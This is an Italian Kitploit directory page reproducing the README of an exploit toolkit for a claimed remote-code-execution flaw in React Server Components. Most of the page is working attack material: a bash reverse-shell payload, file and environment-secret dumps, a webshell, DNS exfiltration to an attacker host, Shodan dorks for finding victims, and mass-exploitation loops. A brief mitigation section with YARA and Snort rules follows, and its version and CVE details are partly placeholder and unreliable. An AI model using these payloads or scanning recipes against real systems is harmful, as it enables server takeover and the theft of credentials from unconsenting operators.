Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PoC-RCE-CVE-2025-55182 | Kitploit
Strumenti/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubilixm/poc-rce-cve-2025-55182
8 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

PoC-RCE-CVE-2025-55182

Vedi Repository
Condividi

🔥 Toolkit di Exploit RSC RCE

Version License Node Platform

Toolkit avanzato per lo sfruttamento delle vulnerabilità di Esecuzione Remota di Codice nei React Server Components

Solo per test di penetrazione autorizzati e ricerca sulla sicurezza

Funzionalità • Installazione • Utilizzo • Integrazione Shodan • Esempi • Disclaimer


📋 Indice

  • Panoramica
  • Dettagli sulla Vulnerabilità
  • Funzionalità
  • Installazione
  • Avvio Rapido
  • Utilizzo
    • Exploit di Base
    • Payload Disponibili
    • Payload Personalizzati
  • Integrazione Shodan
  • Scansione Automatica
  • Esempi
  • Mitigazione
  • Versioni Interessate
  • Contributi
  • Disclaimer
  • Licenza

🎯 Panoramica

Questo toolkit sfrutta una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nelle implementazioni dei React Server Components (RSC), prendendo di mira in particolare:

  • Next.js (versioni 13.4.0 - 14.1.0)
  • Waku (versioni vulnerabili)

La vulnerabilità sfrutta la prototype pollution e la deserializzazione non sicura nel meccanismo di gestione dei dati di RSC per ottenere l'esecuzione arbitraria di codice sul server.

🔴 Gravità: CRITICA

  • Punteggio CVSS: 9.8 (Critico)
  • Vettore di attacco: Rete
  • Privilegi richiesti: Nessuno
  • Interazione utente: Nessuna
  • Impatto: Compromissione totale del server

🔬 Dettagli sulla Vulnerabilità

Contesto Tecnico

I React Server Components utilizzano un formato di serializzazione personalizzato per trasferire dati tra client e server. La vulnerabilità risiede nel modo in cui questi framework deserializzano ed elaborano payload appositamente costruiti.

Catena di attacco:

  1. Costruzione del payload: creare un payload RSC dannoso con riferimenti circolari
  2. Prototype Pollution: abusare di $X:constructor:constructor per accedere al costruttore di Function
  3. Iniezione di codice: iniettare JavaScript arbitrario nel campo _prefix
  4. Esecuzione: il server deserializza ed esegue il payload

Flusso di sfruttamento

root@kitploit:~
Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

✨ Funzionalità

Capacità Principali

  • ✅ Supporto di più framework: Next.js e Waku
  • ✅ 8 payload predefiniti: dal PoC alle reverse shell complete
  • ✅ Esecuzione di codice personalizzato: iniettare qualsiasi codice JavaScript
  • ✅ Integrazione Shodan: individuazione automatica dei target
  • ✅ Scansione di massa: test automatico di più target
  • ✅ CLI professionale: interfaccia a riga di comando completa
  • ✅ Registrazione dettagliata: output codificato a colori con timestamp
  • ✅ Gestione degli errori: gestione robusta degli errori

Payload Predefiniti


📦 Installazione

Prerequisiti

  • Node.js >= 16.0.0
  • npm o yarn
  • CLI Shodan (opzionale, per la scansione automatica)

Clonare il Repository

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Installare le Dipendenze

root@kitploit:~
npm install
# or
yarn install

Configurare Shodan (Opzionale)

root@kitploit:~
# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

🚀 Avvio Rapido

1. Verifica di Base della Vulnerabilità

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Ottenere una Reverse Shell

root@kitploit:~
# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Eseguire un Comando Personalizzato

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 Utilizzo

Exploit di Base

root@kitploit:~
node rsc-rce-exploit.js [options]

Opzioni

*È richiesto uno tra --payload e --custom

Payload Disponibili

Visualizza tutti i payload:

root@kitploit:~
node rsc-rce-exploit.js --list

Output:

root@kitploit:~
📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Payload Personalizzati

Esegui qualsiasi codice JavaScript:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Integrazione Shodan

Dork di Shodan

Target Next.js

root@kitploit:~
# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Target Waku

root@kitploit:~
# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

Scansione Automatica con Shodan

Utilizza lo script di automazione fornito:

root@kitploit:~
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

Flusso di Lavoro Manuale con Shodan

root@kitploit:~
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. Test each target
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 Scansione Automatica

Script di Sfruttamento di Massa

Lo strumento mass-exploit.js consente di testare più target:

root@kitploit:~
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10

# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json

Integrazione in CI/CD

Esempio per test di sicurezza automatizzati:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 Esempi

Esempio 1: PoC di Base

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

Output atteso:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!

Esempio 2: Esfiltrazione di Variabili d'Ambiente

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

Risultato:

  • Scarica tutte le variabili process.env
  • Utile per estrarre:
    • Credenziali del database
    • Chiavi API
    • Segreti AWS
    • Segreti JWT

Esempio 3: Reverse Shell

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

Esempio 4: Distribuzione di una Web Shell

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

Esempio 5: Esfiltrazione DNS (Cieca)

root@kitploit:~
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

Esempio 6: Framework Waku

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

Esempio 7: Esfiltrazione di File

root@kitploit:~
# Read sensitive files
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ Mitigazione

Per gli Sviluppatori

  1. Aggiornare il Framework

    root@kitploit:~
    npm install next@latest
    # or
    npm install waku@latest
    
  2. Validare l'Input

    root@kitploit:~
    // Validate all RSC payloads
    function validateRSCPayload(payload) {
      // Implement strict validation
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. Content Security Policy

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. Disabilitare RSC in Produzione (se non necessario)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

Per i Team di Sicurezza

  • 🔍 Monitorare le richieste RSC sospette
  • 🚨 Avvisare in caso di utilizzo dell'header next-action
  • 🔒 Regole WAF per bloccare i tentativi di prototype pollution
  • 📊 Analisi dei log per i tentativi di sfruttamento

Regole di Rilevamento

Regola YARA:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Regola Snort:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 Versioni Interessate

Next.js

Waku

Intervallo di versioniStatoNote
< 0.18.0⚠️ VULNERABILERCE critica
>= 0.18.0✅ CorrettoAggiornamento consigliato

🤝 Contributi

I contributi sono benvenuti! Segui queste linee guida:

  1. Fai il fork del repository
  2. Crea un branch per la funzionalità (git checkout -b feature/amazing-feature)
  3. Committa le modifiche (git commit -m 'Add amazing feature')
  4. Pubblica il branch (git push origin feature/amazing-feature)
  5. Apri una Pull Request

Idee per i Contributi

  • Aggiungere altri template di payload
  • Implementare template Nuclei
  • Aggiungere il supporto per altri framework RSC
  • Migliorare l'integrazione Shodan
  • Aggiungere funzionalità di reportistica (PDF/HTML)
  • Creare un container Docker per il toolkit

⚖️ Disclaimer

root@kitploit:~
⚠️ LEGAL DISCLAIMER ⚠️

This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

By using this software, you agree to:

1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions

The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction

USE AT YOUR OWN RISK.

📄 Licenza

Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.

root@kitploit:~
MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

🔗 Risorse

Documentazione Ufficiale

  • Next.js Server Actions
  • React Server Components
  • Documentazione Waku

Ricerca sulla Sicurezza

  • Analisi della Vulnerabilità di Deserializzazione RSC
  • Prototype Pollution in JavaScript
  • Best Practice di Sicurezza per Next.js

CVE Correlate

  • CVE-2024-XXXXX (segnaposto - aggiungere la CVE reale quando disponibile)

📬 Contatti

  • Issue GitHub: Segnala bug o richiedi funzionalità
  • Problemi di Sicurezza: [email protected]
  • Twitter: @yourhandle

⭐ Se questo strumento ti è stato utile nella tua ricerca sulla sicurezza, lascia una stella! ⭐

Realizzato con ❤️ da ricercatori di sicurezza, per ricercatori di sicurezza

⬆ Torna all'inizio

Scarica lo strumento
PayloadDescrizioneCaso d'uso
consolePoC di base (console.log)Verificare la vulnerabilità
reverseShellReverse shell BashAccesso iniziale
readFileLegge /etc/passwdAccesso al filesystem
envDumpScarica le variabili d'ambienteEstrazione di credenziali
execCommandEsegue comandi di sistemaEsecuzione arbitraria di comandi
webshellDistribuisce una webshell ExpressAccesso persistente
exfilPackageEsfiltra package.jsonAnalisi delle dipendenze
dnsExfilEsfiltrazione DNS (OOB)Sfruttamento cieco
OpzioneDescrizioneObbligatoria
--target <url>URL del target✅
--framework <name>Framework: next o waku❌ (predefinito: next)
--payload <name>Nome del payload (vedi sotto)✅*
--custom <code>Codice JavaScript personalizzato✅*
--lhost <ip>Il tuo IP (per la reverse shell)❌
--lport <port>La tua porta (per la reverse shell)❌
--command <cmd>Comando da eseguire❌
--endpoint <path>Endpoint RSC personalizzato (Waku)❌
--action-id <id>ID next-action personalizzato❌
--listElenca i payload disponibili❌
--verboseOutput dettagliato❌
--helpMostra l'aiuto❌
Intervallo di versioniStatoNote
< 13.4.0✅ Non vulnerabileRSC non abilitato di default
13.4.0 - 13.4.19⚠️ VULNERABILERCE critica
13.5.0 - 14.0.4⚠️ VULNERABILERCE critica
14.1.0⚠️ VULNERABILEMitigazione parziale
>= 14.1.1✅ CorrettoAggiornamento consigliato